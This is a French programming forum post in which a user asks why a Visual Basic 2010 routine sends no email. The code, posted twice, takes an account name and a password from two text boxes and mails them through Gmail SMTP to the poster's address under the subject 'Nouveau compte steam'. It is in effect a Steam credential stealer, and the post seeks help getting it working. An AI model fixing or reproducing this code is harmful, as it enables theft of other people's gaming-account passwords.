Visual Basic 2010 Problème
Utilisateur anonyme
-
lermite222 Messages postés 8724 Date d'inscription Statut Contributeur Dernière intervention -
lermite222 Messages postés 8724 Date d'inscription Statut Contributeur Dernière intervention -
Bonjour,
J'ai un problème je reçois aucun mail, pourtant il y a aucune erreur :
Sub SendMail()
Dim MyMailMessage As New MailMessage()
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
MyMailMessage.From = New MailAddress("{msebastien5@gmail.com}") 'Expediteur
MyMailMessage.To.Add("{msebastien5@gmail.com}") 'Destinataire
MyMailMessage.Subject = ("{Nouveau compte steam}") 'Sujet
MyMailMessage.Body = ("Nom de Compte : " & TextBox1.Text & vbNewLine &
"Mot de passe : " & TextBox2.Text) 'Message
SMTPServer.Port = ("587") 'Port ?
SMTPServer.Credentials = New System.Net.NetworkCredential("{msebastien5@gmail.com}", "{**********}") 'Email
SMTPServer.EnableSsl = True
SMTPServer.Send(MyMailMessage) 'Envoi
End Sub
Si quelqu'un a trouver une chose n'allant pas je suis preneur
J'ai un problème je reçois aucun mail, pourtant il y a aucune erreur :
Sub SendMail()
Dim MyMailMessage As New MailMessage()
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
MyMailMessage.From = New MailAddress("{msebastien5@gmail.com}") 'Expediteur
MyMailMessage.To.Add("{msebastien5@gmail.com}") 'Destinataire
MyMailMessage.Subject = ("{Nouveau compte steam}") 'Sujet
MyMailMessage.Body = ("Nom de Compte : " & TextBox1.Text & vbNewLine &
"Mot de passe : " & TextBox2.Text) 'Message
SMTPServer.Port = ("587") 'Port ?
SMTPServer.Credentials = New System.Net.NetworkCredential("{msebastien5@gmail.com}", "{**********}") 'Email
SMTPServer.EnableSsl = True
SMTPServer.Send(MyMailMessage) 'Envoi
End Sub
Si quelqu'un a trouver une chose n'allant pas je suis preneur
A voir également:
- Visual Basic 2010 Problème
- Visual basic - Télécharger - Langages
- Visual basic editor - Télécharger - Langages
- Visual petanque - Télécharger - Sport
- Microsoft 365 basic - Accueil - Microsoft Office
- Visual c++ 2019 - Guide
